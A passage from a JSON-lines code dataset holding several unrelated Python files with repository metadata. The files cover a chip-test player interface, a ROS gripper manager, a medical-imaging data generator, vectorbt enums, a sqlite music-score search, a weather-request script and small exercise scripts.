self.hpl_to_dut_interface = None\n if(CFG[\"HPL\"][\"execution_mode\"] == \"itpp\"):\n self.hpl_to_dut_interface = hpl_itpp_interface(self.get_interface_file_name(), self)\n self.interactive_mode = False\n elif(CFG[\"HPL\"][\"execution_mode\"] == \"interactive_socket\"):\n self.hpl_to_dut_interface = hpl_interactive_socket_interface(self)\n self.interactive_mode = True\n htdte_logger.setErrHndlrInterface(self.hpl_to_dut_interface)\n elif(CFG[\"HPL\"][\"execution_mode\"] == \"spf\"):\n self.hpl_to_dut_interface = hpl_spf_interface(self.get_interface_file_name(), self)\n elif(CFG[\"HPL\"][\"execution_mode\"] == \"xdp\"):\n self.hpl_to_dut_interface = hpl_xdp_interface(self.get_interface_file_name(), self)\n else:\n htdte_logger.error((\"Not supported execution mode value -\\\"%s\\\" found in CFG[HPL][execution_mode]. Expected modes are: itpp\") % (CFG[\"HPL\"][\"execution_mode\"]))\n # ---------Plsyer BFM manager----\n self.hplSignalMgr = eval((\"hpl_SignalManager_%s\") % ((\"interactive\" if (self.interactive_mode) else \"non_interactive\")))(self.hpl_to_dut_interface, self)\n # ----------------------------------------\n self.hplSbftLoadMgr = eval(\"hpl_SbftLoadManager\")(self.hpl_to_dut_interface, self)\n # ----------------------------------------\n if(\"tap_api_selector\" not in list(CFG[\"HPL\"].keys())):\n htdte_logger.error(\"Missing TAP API selector (expected in CFG[HPL][tap_api_selector]. \")\n self.hpl_tap_api = eval(cfg_HPL(\"tap_api_selector\"))()\n # -----------------------\n clock_class_name = (\"hpl_%s_clocks\") % (\"interactive\" if (self.interactive_mode) else \"non_interactive\")\n self.hplClockMgr = eval(clock_class_name)(CFG, self)\n # --Simoptimization\n if(\"signal_wait_mode\" not in list(CFG[\"HPL\"].keys())):\n htdte_logger.error((\" Missing obligatory CFG[\\\"HPL\\\"][\\\"signal_wait_mode\\\"] definition in TE_cfg.xml (Valid values are:sim_time or silicon).... \"))\n if(CFG[\"HPL\"][\"signal_wait_mode\"] not in [\"sim_time\", \"silicon\"]):\n htdte_logger.error((\" Invalid CFG[\\\"HPL\\\"][\\\"signal_wait_mode\\\"]=\\\"%s\\\" definition in TE_cfg.xml (Valid values are:sim_time or silicon).... \") % (CFG[\"HPL\"][\"signal_wait_mode\"]))\n self.signal_wait_mode = CFG[\"HPL\"][\"signal_wait_mode\"]\n # --------------------\n # Sync Enable\n if \"sync_enabled\" in CFG[\"HPL\"]:\n self.sync_enabled = CFG[\"HPL\"][\"sync_enabled\"]\n htdte_logger.inform(\"HPL Sync: %d\" % (self.sync_enabled))\n else:\n self.sync_enabled = 1\n htdte_logger.inform(\"HPL Sync Enabled by default\")\n htdte_logger.set_message_signal = self.set_message_signal\n # --------------------------------------------------\n\n def get_interface_file_name(self):\n mode = CFG[\"HPL\"][\"execution_mode\"]\n if(mode == \"itpp\"):\n return \"htd_test_stimulus.itpp\" if(\"ItppOutputFileName\" not in list(CFG[\"HPL\"].keys())) else cfg_HPL(\"ItppOutputFileName\")\n elif(mode == \"spf\"):\n return \"htd_test_stimulus.spf\" if(\"SpfOutputFileName\" not in list(CFG[\"HPL\"].keys())) else cfg_HPL(\"SpfOutputFileName\")\n elif(mode == \"xdp\"):\n return \"htd_test_stimulus.py\" if(\"XdpOutputFileName\" not in list(CFG[\"HPL\"].keys())) else cfg_HPL(\"XdpOutputFileName\")\n else:\n htdte_logger.error((\"Not supported execution mode value -\\\"%s\\\" found in CFG[HPL][execution_mode]. Expected modes are: itpp\") % (CFG[\"HPL\"][\"execution_mode\"]))\n\n def get_indexed_label(self, label, agent_filter=\"\"):\n if(not htd_history_mgr.parametric_has(self.labels_history_table_name, [label + agent_filter])):\n htd_history_mgr.parametric_capture(self.labels_history_table_name, [label + agent_filter], 0, \"HPL_ui\")\n return label\n else:\n indx = htd_history_mgr.parametric_get(self.labels_history_table_name, [label + agent_filter]) + 1\n htd_history_mgr.parametric_capture(self.labels_history_table_name, [label + agent_filter], indx, \"HPL_ui\")\n #htdte_logger.inform(\"current %s index is %d filter %s\" %(label, indx, agent_filter))\n return (\"%s_%d\") % (label, indx)\n\n def set_current_action(self, actionObj):\n self.current_action = actionObj\n\n def get_current_action(self): return self.current_action\n\n def close(self):\n self.hpl_to_dut_interface.close()\n\n def set_silent_mode(self):\n self.hpl_to_dut_interface.set_silent_mode()\n self.silent_mode = True\n\n def unset_silent_mode(self):\n self.hpl_to_dut_interface.unset_silent_mode()\n self.silent_mode = False\n # -------------------------------\n # Create HTML formatted help file\n # -------------------------------\n\n def create_hpl_help(self, file_name):\n html_file = open(file_name, 'w')\n # -----The short help is printed to screen , detailed help in html------------\n # --Create a bookmarks links for html\n html_file.write(\"\\n\\n\")\n html_file.write('\\n')\n html_file.write('

HTD Player (Output Interface) Help:

\\n')\n # --------------\n util_get_methods_prototypes_of_class(self.__class__.__name__).print_html(html_file, HelpListStreamEnum_all)\n html_file.close()\n # -------------------------------------------------------------------------------------------------------------------------\n # --To be used for comments printout to transactor : ITPP file or SIM/EMU or pattern comment to make a flow clarification\n # -------------------------------------------------------------------------------------------------------------------------\n\n def add_comment(self, line):\n self.hpl_to_dut_interface.add_comment(line)\n # -------------------------------------------------------------\n # Passing pattern information through Simulation,EMU or DP\n # -------------------------------------------------------------\n\n def set_pattern_info(self, message):\n self.hpl_to_dut_interface.set_pattern_info(message)\n # ---------------------------------------------------------\n # ---TAP CallBacks\n # --------------------------------------------------------\n # def tap_send_cmd(self,tap_obj): # todo vik close interface with (this is the entry point fomr htd_te end)\n # return self.hpl_tap.send_cmd(tap_obj)\n\n def get_ir_opcode_int(self, cmd, agent):\n return HTD_INFO.tap_info.get_ir_opcode_int(cmd, agent)\n\n def get_ir_name(self, ircode, agent):\n # return self.hpl_tap.api.get_ir_name(ircode,agent)\n return HTD_INFO.tap_info.get_ir_name(ircode, agent)\n\n def get_tapreg_fields(self, cmd, agent, eptarget):\n # return self.hpl_tap.api.get_ir_fields(cmd,agent)\n return HTD_INFO.tap_info.get_ir_fields(cmd, agent, eptarget)\n\n def tap_send_cmd(self, tap_params): # /nfs/iil/proj/mpgbd/vbhutani/CNL/HTD_TE/repo_latest/tools//htd_hpl/bin/htd_player_ui.pytodo vik close interface with (this is the entry point fomr htd_te end)\n return self.hpl_tap.send_cmd(tap_params)\n\n def verify_tap_eptarget(self, agent, eptarget):\n return self.hpl_tap.verify_tap_eptarget(agent, eptarget)\n\n def rtl_node_exists(self, cmd, agent, field):\n # return self.hpl_tap.api.rtl_node_exists(cmd,agent,field)\n return HTD_INFO.tap_info.rtl_node_exists(cmd, agent, field)\n # ---------------------------------------------------------\n # ---Signal CallBacks\n # ---------------------------------------------------------\n\n def is_intractive_simulation(self):\n return self.hplSignalMgr.is_interactive_mode()\n\n def get_full_signal_path(self, signal, lsb=-1, msb=-1, selector=\"\"):\n return HTD_INFO.signal_info.extract_full_signal_path(signal, lsb, msb, selector)\n\n def signal_module_exists(self, search_signal_or_module):\n return HTD_INFO.signal_info.signal_module_exists(search_signal_or_module)\n\n # ------------------------------------------------------------------------------------------------------------------------------------\n def wait_clock_num(self, cycles, clock=\"none\"):\n if (cycles == 0):\n return\n self.hpl_to_dut_interface.wait_clock_num(cycles, clock)\n # ---SYNC API\n # ------------------------------------------------------------------------------------------------------------------------------------\n\n def wait_clock_edge(self, clock, edge):\n supported_edges = [\"ar\", \"br\", \"af\", \"bf\"]\n if(edge not in supported_edges):\n htdte_logger.error((\"Not supported edge value received: \\\"%s\\\" - supported:% \") % (edge, supported_edges))\n delay = self.hplClockMgr.get_clock_edge_delay(clock_name, edge) # return a delay for a requested edge\n if(delay):\n self.hpl_to_dut_interface.wait_clock_num(delay, clock)\n # ------------------------------------------------------------------------------------------------------------------------------------\n\n def sync_to_clock_modulo(self, clock, modulo):\n # TODO Vik to fix in HPL_Clock colck Modulo API.\n # Make a delay until the target clock modulo constrain\n # moduloPatVecClock=self.hplClockMgr.clock_transpose(clock,modulo,CFG[\"HPL\"][\"PatVecClock\"])\n # self.hplClockMgr.wait_clock_modulo(clock,modulo) #Get the number of Pattern vector clock (\"bclks\") until the target clock will be modulo , Example core clock 1:22, requirement modulo 8 -> 3 bclk\n self.hpl_to_dut_interface.wait_clock_modulo(clock, modulo)\n\n #-------------- ratio commands----------------#\n def set_ratio(self, ratio, clock):\n if (self.ratio_clk != \"\" and self.ratio_clk != clock):\n htdte_logger.inform(\"ratio was set on clock %s, can't modify it to other clock %s\" % (self.ratio_clk, clock))\n if (ratio != self.current_ratio):\n self.tap_expandata(clock, ratio)\n self.current_ratio = ratio\n self.ratio_clk = clock\n\n def restore_ratio(self):\n if (self.ratio_clk == \"\"):\n htdte_logger.error(\"ratio clock was not set, can't restore properly\")\n\n if (self.current_ratio != self.default_ratio):\n self.tap_expandata(self.ratio_clk, self.default_ratio)\n self.current_ratio = self.default_ratio\n\n # ------------------------------------------------------------------------------------------------------------------------------------\n def write_itpp_cmd(self, cmd):\n self.hpl_to_dut_interface.write_itpp_cmd(cmd)\n\n def start_scan_memory(self):\n if(\"scan_group\" not in list(CFG[\"HPL\"].keys()) or CFG[\"HPL\"][\"scan_group\"] != \"\"):\n htdte_logger.inform(\"Trying to use start_scan command while the scan group is not defined in CFG[\\\"HPL\\\"][\\\"scan_group\\\"]\")\n if(self.scan_memory_in_progress):\n htdte_logger.inform(\"Trying to use start_scan command during active scan mode - (already has been called without stop_scan)\")\n self.write_itpp_cmd((\"start_scan: %s;\\n\") % (CFG[\"HPL\"][\"scan_group\"]))\n self.scan_memory_in_progress = 1\n\n def stop_scan_memory(self):\n if(\"scan_group\" not in list(CFG[\"HPL\"].keys()) or CFG[\"HPL\"][\"scan_group\"] != \"\"):\n htdte_logger.inform(\"Trying to use stop_scan command while the scan group is not defined in CFG[\\\"HPL\\\"][\\\"scan_group\\\"]\")\n if(self.scan_memory_in_progress == 0):\n htdte_logger.inform(\"Trying to call stop_scan cmd , while not started previously.\")\n self.write_itpp_cmd((\"stop_scan: %s;\\n\") % (CFG[\"HPL\"][\"scan_group\"]))\n self.scan_memory_in_progress = 0\n # ------------------------------------------------------------------------------------------------------------------------------------\n\n def set_message_signal(self, message_val):\n if(\"hvm_flow_tracking_signal\" in list(CFG[\"HPL\"].keys()) and CFG[\"HPL\"][\"hvm_flow_tracking_signal\"] != \"\"):\n for i in range(0, 16):\n val = util_get_int_sub_range(i * 32, (i + 1) * 32 - 1, message_val)\n self.hplSignalMgr.signal_set(CFG[\"HPL\"][\"hvm_flow_tracking_signal\"], i * 32, (i + 1) * 32 - 1, val)\n # --------------------\n\n def tap_compression_on(self): self.hpl_to_dut_interface.tap_compression_on()\n\n def tap_compression_off(self): self.hpl_to_dut_interface.tap_compression_off()\n\n def tap_expandata(self, clock, value):\n self.write_itpp_cmd(\"expandata: %s,%d;\" % (clock, value))\n self.write_itpp_cmd(\"delay: %s(%d);\" % (self.hplClockMgr.get_clock_rtl_path(CFG[\"HPL\"][\"PatVecClock\"]), 10))\n","repo_name":"mattpacey/pacman_core","sub_path":"tools/htd_hpl/bin/htd_player_ui.py","file_name":"htd_player_ui.py","file_ext":"py","file_size_in_byte":15425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3913325421","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport rospy\n\nfrom sensor_msgs.msg import JointState\n\nfrom catchrobo_manager.servo import Servo, Laser\n\n\n\nclass GripperID:\n NEAR = 0\n FAR = 1\n\nclass GripWay:\n LONG_GRIP = 0\n SMALL_GRIP = 1\n\n \n MAX = 2\n\nclass GripperManager():\n def __init__(self, color):\n self._grippers = [Servo(\"gripper1\"), Servo(\"gripper2\")]\n self._lasers = [Laser(\"laser1\"), Laser(\"laser2\")]\n self.RELEASE_WAIT_S = 0.5\n self.GRIP_WAIT_S = 0.5\n\n id_map = [0,1]\n if color == \"red\":\n id_map[GripperID.NEAR] = 0\n id_map[GripperID.FAR] = 1\n if color == \"blue\":\n id_map[GripperID.NEAR] = 1\n id_map[GripperID.FAR] = 0\n self._id_map = id_map\n\n self._grip_dist = rospy.get_param(\"grip_dist\")\n\n\n self._grip_status = [GripWay.MAX, GripWay.MAX]\n self.releaseBisco(0)\n self.releaseBisco(1)\n\n def getGripDist(self, target_gripper, grip_way):\n if grip_way == GripWay.LONG_GRIP:\n ret = self._grip_dist[\"long\"][target_gripper]\n else:\n ret = self._grip_dist[\"small\"][target_gripper]\n return ret\n\n def laser(self, laser_on):\n self._lasers[0].output(laser_on)\n self._lasers[1].output(laser_on)\n\n def graspBisco(self, target_gripper, grip_way,wait):\n target_gripper_id = self._id_map[target_gripper]\n dist = self.getGripDist(target_gripper, grip_way)\n\n self._grip_status[target_gripper] = grip_way\n\n if wait is True:\n wait_s = self.GRIP_WAIT_S\n else:\n wait_s = 0\n self._grippers[target_gripper_id].move(dist,wait_s)\n temp = \"gripper {}: {} cm\".format(target_gripper_id, dist)\n rospy.loginfo(temp)\n\n\n def releaseBisco(self, target_gripper):\n target_gripper_id = self._id_map[target_gripper]\n dist = self._grip_dist[\"max\"]\n self._grippers[target_gripper_id].move(dist,self.RELEASE_WAIT_S)\n \n rospy.loginfo(\"release\")\n\n","repo_name":"catchrobo2021/catchrobo_robot","sub_path":"catchrobo_manager/src/catchrobo_manager/gripper_manager.py","file_name":"gripper_manager.py","file_ext":"py","file_size_in_byte":2043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"21494721484","text":"\nimport os\nimport sys\nimport time\nimport zlib\nimport logging\nlogger = logging.getLogger('data_gen')\nlogger.setLevel(logging.INFO)\n\nch = logging.StreamHandler()\nch.setLevel(logging.INFO)\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nch.setFormatter(formatter)\nlogger.addHandler(ch)\n\nimport numpy as np\nimport tensorflow as tf\nimport random\nimport pandas as pd\n\nfrom tensorflow.keras.utils import Sequence\n\nimport SimpleITK as sitk\nfrom skimage.transform import resize \nfrom scipy import ndimage as ndi\n\nimport albumentations as A\n\ndef seed_everything(seed=4269):\n random.seed(seed)\n os.environ['PYTHONHASHSEED'] = str(seed)\n os.environ['TF_CUDNN_DETERMINISTIC'] = '1' # new flag present in tf 2.0+\n np.random.seed(seed)\n tf.random.set_seed(seed)\nseed_everything()\n\n \n# https://gist.github.com/mrajchl/ccbd5ed12eb68e0c1afc5da116af614a\ndef resample_img(itk_image, out_spacing=[2.0, 2.0, 2.0], is_label=False):\n \n # Resample images to 2mm spacing with SimpleITK\n original_spacing = itk_image.GetSpacing()\n original_size = itk_image.GetSize()\n\n out_size = [\n int(np.round(original_size[0] * (original_spacing[0] / out_spacing[0]))),\n int(np.round(original_size[1] * (original_spacing[1] / out_spacing[1]))),\n int(np.round(original_size[2] * (original_spacing[2] / out_spacing[2])))]\n\n resample = sitk.ResampleImageFilter()\n resample.SetOutputSpacing(out_spacing)\n resample.SetSize(out_size)\n resample.SetOutputDirection(itk_image.GetDirection())\n resample.SetOutputOrigin(itk_image.GetOrigin())\n resample.SetTransform(sitk.Transform())\n resample.SetDefaultPixelValue(itk_image.GetPixelIDValue())\n\n if is_label:\n resample.SetInterpolator(sitk.sitkNearestNeighbor)\n else:\n resample.SetInterpolator(sitk.sitkBSpline)\n\n return resample.Execute(itk_image)\n\ndef read_image(row): # responsible for reading, resampling, scaling intensity to (-1,1)\n \n file_path = row.file_path\n if row.dataset == 'ped-ct-seg':\n \n spacing=(2.0,2.0,2.0)\n\n reader= sitk.ImageFileReader()\n reader.SetFileName(file_path)\n img_obj = reader.Execute() \n img_obj = resample_img(img_obj, out_spacing=spacing, is_label=False)\n\n spacing = img_obj.GetSpacing()\n origin = img_obj.GetOrigin()\n size = img_obj.GetSize()\n direction = img_obj.GetDirection()\n\n img = sitk.GetArrayFromImage(img_obj)\n\n logger.debug(f'{origin},{direction}')\n logger.debug(f'{spacing},{size}')\n logger.debug(f'img.shape {img.shape}')\n\n MIN_VAL,MAX_VAL = -1000,1000\n img = img.astype(np.float16)\n img = ((img-MIN_VAL)/(MAX_VAL-MIN_VAL))\n img = (img-0.5)*2\n img = img.clip(-1,1)\n\n img = np.expand_dims(img,axis=-1)\n\n elif row.dataset == 'brats19':\n\n subject_id = os.path.basename(row.file_path)\n flair_path = os.path.join(row.file_path,f'{subject_id}_flair.nii.gz')\n t1_path = os.path.join(row.file_path,f'{subject_id}_t1.nii.gz')\n t1ce_path = os.path.join(row.file_path,f'{subject_id}_t1ce.nii.gz')\n t2_path = os.path.join(row.file_path,f'{subject_id}_t2.nii.gz')\n\n x_list = []\n spacing=(1,1,1)\n for file_path in [flair_path,t1_path,t2_path]:\n\n reader= sitk.ImageFileReader()\n reader.SetFileName(file_path)\n img_obj = reader.Execute() \n img_obj = resample_img(img_obj, out_spacing=spacing, is_label=False)\n\n spacing = img_obj.GetSpacing()\n origin = img_obj.GetOrigin()\n size = img_obj.GetSize()\n direction = img_obj.GetDirection()\n\n x = sitk.GetArrayFromImage(img_obj)\n\n logger.debug(f'{origin},{direction}')\n logger.debug(f'{spacing},{size}')\n logger.debug(f'x.shape {x.shape}')\n\n mu = np.mean(x[x>0])\n sd = np.std(x[x>0])\n x = (x-mu)/(3*sd)\n x = x.clip(-1,1)\n x_list.append(x)\n\n img = np.array(x_list)\n img = np.moveaxis(img, 0, -1)\n\n else:\n raise NotImplementedError()\n\n return img\n\nMIN_VAL = -1\naug_pipeline = A.Compose([\n A.ShiftScaleRotate(value=MIN_VAL,border_mode=0),\n])\n\nFILL_VAL = 0\ncutout_aug_pipeline = A.Compose([\n A.Cutout(p=0.5, num_holes=1,\n max_h_size=120, max_w_size=120, fill_value=FILL_VAL),\n])\n\ndef augment_2d(img,min_val):\n \n img = img.squeeze()\n\n assert(min_val==MIN_VAL)\n\n augmented = aug_pipeline(\n image=img,\n )\n img = augmented['image']\n\n cut_augmented = cutout_aug_pipeline(\n image=img,\n )\n aug_img = cut_augmented['image']\n\n img = np.expand_dims(img,axis=0)\n aug_img = np.expand_dims(aug_img,axis=0)\n\n return img,aug_img\n\ndef augment_3d(img,min_val):\n \n mydim = [6,8,8] # random rectangle cutouts\n np.random.shuffle(mydim)\n\n tmp = np.expand_dims(np.random.rand(*mydim),axis=-1)\n cutout = (tmp>0.9).astype(np.float) # cut out 10% of spaces.\n cutout = resize(cutout>0,img.shape,order=0,mode='edge',cval=min_val)\n\n aug_img = img.copy() # copy!!!\n aug_img[cutout==1] = min_val\n\n return img,aug_img\n\ndef augment(img,min_val):\n\n if img.shape[0]>1: # leverage albumentation if 1st dim == 1\n return augment_3d(img,min_val)\n else:\n return augment_2d(img,min_val)\n\nTHIS_DIR = os.path.dirname(os.path.abspath(__file__))\n\nclass DataGenerator(Sequence):\n def __init__(self,df,batch_size=8,shuffle=False,augment=False,output_shape=(32,128,128,1)):\n \n self.df = df.copy().reset_index() \n self.indices = np.arange(len(self.df))\n\n self.min_val = -1\n self.batch_size = batch_size\n self.shuffle = shuffle\n self.augment = augment\n self.output_shape = output_shape\n \n\n def on_epoch_end(self):\n if self.shuffle:\n np.random.shuffle(self.indices)\n\n def dataread(self, row):\n\n img = read_image(row)\n if self.output_shape: \n # orignal image shape\n i0,i1,i2,_ = img.shape\n\n # target image shape\n o0,o1,o2,_ = self.output_shape\n\n # we pad some values \n diff = np.array([i0-o0,i1-o1,i2-o2,0])\n if any(diff<0):\n padding = [(0,0) if x>=0 else (np.abs(x),np.abs(x)) for x in diff]\n img = np.pad(img,padding,'constant',constant_values=(self.min_val,self.min_val))\n \n i0,i1,i2,_ = img.shape\n\n # starting coordinate\n if i0-o0 == 0:\n s0 = 0\n else:\n s0 = random.choice(list(range(i0-o0))) \n if i1-o1 == 0:\n s1 = 0\n else:\n s1 = random.choice(list(range(i1-o1)))\n if i2-o2 == 0:\n s2 = 0\n else:\n s2 = random.choice(list(range(i2-o2)))\n\n img = img[s0:s0+o0,s1:s1+o1,s2:s2+o2,:]\n\n if self.augment:\n img, aug_img = augment(img,self.min_val)\n else:\n aug_img = img.copy()\n \n logger.debug(f'{img.shape},{aug_img.shape}')\n\n return img,aug_img\n\n def __len__(self):\n return int(np.floor(len(self.indices) / float(self.batch_size)))\n\n def __getitem__(self, idx):\n inds = self.indices[idx * self.batch_size:(idx + 1) * self.batch_size]\n batch_rows = self.df.iloc[inds,:]\n\n x_arr = []\n cutout_x_arr = []\n for n,row in batch_rows.iterrows():\n img, cutout_img = self.dataread(row)\n x_arr.append(img)\n cutout_x_arr.append(cutout_img)\n \n return np.array(cutout_x_arr), np.array(x_arr)\n\nif __name__ == \"__main__\":\n logging.basicConfig( level=\"DEBUG\" )\n \n df = pd.read_csv(sys.argv[1])\n mygen = DataGenerator(\n df,\n batch_size=8,output_shape=(1,240,240,4),\n shuffle=True,augment=True,\n )\n mygen.on_epoch_end()\n print(len(mygen))\n for n,(x,y) in zip(range(2),mygen):\n print(n,x.shape,y.shape)\n\n'''\npython data_gen.py ped-ct-seg.csv\n'''\n","repo_name":"pangyuteng/fc-vae-gan","sub_path":"data_gen.py","file_name":"data_gen.py","file_ext":"py","file_size_in_byte":8148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17089564038","text":"import numpy as np\n\nfrom vectorbt import _typing as tp\nfrom vectorbt.utils.docs import to_doc\n\n__all__ = [\n 'RangeStatus',\n 'DrawdownStatus',\n 'drawdown_dt',\n 'range_dt'\n]\n\n__pdoc__ = {}\n\n\n# ############# Enums ############# #\n\nclass RangeStatusT(tp.NamedTuple):\n Open: int\n Closed: int\n\n\nRangeStatus = RangeStatusT(*range(2))\n\"\"\"_\"\"\"\n\n__pdoc__['RangeStatus'] = f\"\"\"Range status.\n\n```json\n{to_doc(RangeStatus)}\n```\n\"\"\"\n\n\nclass DrawdownStatusT(tp.NamedTuple):\n Active: int\n Recovered: int\n\n\nDrawdownStatus = DrawdownStatusT(*range(2))\n\"\"\"_\"\"\"\n\n__pdoc__['DrawdownStatus'] = f\"\"\"Drawdown status.\n\n```json\n{to_doc(DrawdownStatus)}\n```\n\"\"\"\n\n# ############# Records ############# #\n\nrange_dt = np.dtype([\n ('id', np.int_),\n ('col', np.int_),\n ('start_idx', np.int_),\n ('end_idx', np.int_),\n ('status', np.int_)\n], align=True)\n\"\"\"_\"\"\"\n\n__pdoc__['range_dt'] = f\"\"\"`np.dtype` of range records.\n\n```json\n{to_doc(range_dt)}\n```\n\"\"\"\n\ndrawdown_dt = np.dtype([\n ('id', np.int_),\n ('col', np.int_),\n ('peak_idx', np.int_),\n ('start_idx', np.int_),\n ('valley_idx', np.int_),\n ('end_idx', np.int_),\n ('peak_val', np.float_),\n ('valley_val', np.float_),\n ('end_val', np.float_),\n ('status', np.int_),\n], align=True)\n\"\"\"_\"\"\"\n\n__pdoc__['drawdown_dt'] = f\"\"\"`np.dtype` of drawdown records.\n\n```json\n{to_doc(drawdown_dt)}\n```\n\"\"\"\n","repo_name":"polakowo/vectorbt","sub_path":"vectorbt/generic/enums.py","file_name":"enums.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","stars":3319,"dataset":"github-code","pt":"82"} +{"seq_id":"29162052696","text":"\"\"\"\n문제 번호 : 2941\n단계 : 문자열\n제목 : 크로아티아 알파벳\n알고리즘 : 구현 / 문자열\n\"\"\"\n\n# 문자를 split, slicing\n\n# 문자 입력\nN = input()\n\n# 변경된 문자들\nletters = ['c=','c-','dz=','d-','lj','nj','s=','z=']\n\nfor i in letters:\n N = N.replace(i,'*')\nprint(len(N))","repo_name":"Gilbert9172/Gil_code","sub_path":"백준문제풀이/4주차/210829-09.py","file_name":"210829-09.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72142242827","text":"import sqlite3\nimport os, re, sys, json\nfrom collections import OrderedDict\n\nDATABASE_FILE = 'scorelib.dat'\n\ndef parsePeople(data):\n people = []\n for person in data:\n author = OrderedDict()\n author['name'] = person[2]\n author['born'] = person[0]\n author['died'] = person[1]\n people.append(author)\n return people\n\ndef parseVoices(voice_data):\n voices = OrderedDict()\n for voice in voice_data:\n v = OrderedDict()\n v['name'] = voice[2]\n v['range'] = voice[1]\n voices.update({str(voice[0]): v})\n\n return voices\n\ndef main():\n\n #author = '%' + 'Carl Maria' + '%'\n author = '%' + sys.argv[1] + '%'\n conn = sqlite3.connect(DATABASE_FILE)\n conn.text_factory = str\n cur = conn.cursor()\n RESULT_FOR_PRINT = []\n\n cur.execute('SELECT * FROM person WHERE person.name LIKE ?',(author,))\n authors = cur.fetchall()\n\n for author in authors:\n composer_id = author[0]\n composer_name = author[3]\n print_instance = OrderedDict()\n PRINTS = []\n RESULT = OrderedDict({composer_name: PRINTS})\n\n cur.execute('SELECT * FROM score JOIN (SELECT * FROM score_author JOIN person ON score_author.composer = person.id WHERE person.id = ?) ON score.id = score', (composer_id,))\n scores_data = cur.fetchall()\n\n for score in scores_data:\n print_instance = OrderedDict()\n score_id = score[0]\n title = score[1]\n genre = score[2]\n key = score[3]\n incipit = score[4]\n composition_year = score[5]\n\n cur.execute('SELECT born,died,name FROM score_author JOIN person ON score_author.composer = person.id WHERE score = ?', (score_id,))\n composers_arr = parsePeople(cur.fetchall())\n cur.execute('SELECT * FROM edition WHERE score = ?', (score_id,))\n editions_data = cur.fetchall()\n\n for edition in editions_data:\n\n edition_id = edition[0]\n edition_name = edition[2]\n cur.execute('SELECT born,died,name FROM edition_author JOIN person ON edition_author.editor = person.id WHERE edition = ?', (edition_id,))\n editors_array = parsePeople(cur.fetchall())\n cur.execute('SELECT * FROM print WHERE edition = ?', (edition_id,))\n print_data = cur.fetchone()\n cur.execute('SELECT number, range, name FROM voice WHERE score = ?', (score_id,))\n voice_data = cur.fetchall()\n\n\n print_instance['Print Number'] = print_data[0]\n print_instance['Composer'] = composers_arr\n print_instance['Title'] = title\n print_instance['Genre'] = genre\n print_instance['Key'] = key\n print_instance['Composition Year'] = composition_year\n print_instance['Edition'] = edition_name\n print_instance['Editor'] = editors_array\n print_instance['Voices'] = parseVoices(voice_data)\n print_instance['Partiture'] = True if print_data[1] == 'Y' else False\n print_instance['Incipit'] = incipit\n PRINTS.append(print_instance)\n\n if len(print_instance) != 0:\n RESULT_FOR_PRINT.append(RESULT)\n\n if len(RESULT_FOR_PRINT) != 0:\n hotovo = {}\n for i in RESULT_FOR_PRINT:\n for k,v in i.items():\n hotovo.update({k:v})\n print(json.dumps(hotovo, indent=2, ensure_ascii=False))\n else:\n print(json.dumps({}, indent=2, ensure_ascii=False))\n\n\n\n conn.close()\n\nmain()\n","repo_name":"anticol/python_uni_project","sub_path":"04-exercise/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":3637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20860538014","text":"import random\nimport requests\nG_url = 'https://www.google.com/'\nF_url = 'https://www.facebook.com/'\nT_url = 'https://twitter.com/'\nA_url = 'https://www.amazon.com/'\nAp_url = 'https://www.apple.com/'\nurls = [G_url, F_url, T_url, A_url, Ap_url]\na = random.randint(0,4)\nres = requests.get(urls[a])\nprint(res.status_code)\nprint(res.url)\n#print(res.text)\nprint(len(res.text))\n\n#temperature in your city\ncity = input('enter your city ')\nprint(city)\ngetc = requests.get(f'https://geocoding-api.open-meteo.com/v1/search?name={city}')\ncjson = getc.json()\n#print(cjson)\nclatitude = cjson['results'][0]['latitude']\n#print(clatitude)\nclongitude = cjson['results'][0]['longitude']\n#print(clongitude)\nforecast = requests.get(f'https://api.open-meteo.com/v1/forecast?latitude={clatitude}&longitude={clongitude}¤t_weather=true')\n#print(forecast.json())\nprint(f'Weather today in {city}')\nprint(forecast.json()['current_weather']['temperature'])\n\n","repo_name":"LilianaLukash/PythonStudy","sub_path":"requests/req.py","file_name":"req.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"35294391896","text":"import pymysql\n\n# Se abre la conexión con el servidor de BD\ndb = pymysql.connect(\"localhost\", \"root\", \"\", \"msc2019\")\n\n# Creamos un objeto tipo cursor\ncursor = db.cursor()\n\nname = \"Isis Siomara\"\nsalary = 293765.28\n\n# Definir cadena SQL\nsql = \"INSERT INTO empelado(nombre, sueldo) VALUES ('{0}', {1})\".format(name, salary)\n\nprint(sql)\n\ntry:\n cursor.execute(sql)\n db.commit()\nexcept:\n db.rollback()\n\ndb.close()","repo_name":"JuandeDiosBarajasCorona/MSC2019-PythonHackathon","sub_path":"database/Insertar.py","file_name":"Insertar.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40305980333","text":"import numpy as np\n\n\ndef linear_phase(dt, T=1):\n phase = np.linspace(0, T, T / dt)[:, np.newaxis]\n \n return phase\n\n\ndef normalized_gaussian_basis(N, Z, dt):\n mu = np.linspace(0, 1, N)[:, np.newaxis]\n sigma = np.ones((N, 1)) / N\n \n basis = np.sqrt(2 * np.pi) * (1 / sigma.T) * np.exp(-0.5 * ((Z - mu.T) / sigma.T) ** 2)\n basis = basis / np.sum(basis, 1)[:, np.newaxis]\n\n basis = basis.T\n \n return basis\n","repo_name":"PedroIldefonso/baxter_project","sub_path":"ProMPs/build/lib.linux-x86_64-2.7/promp/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} 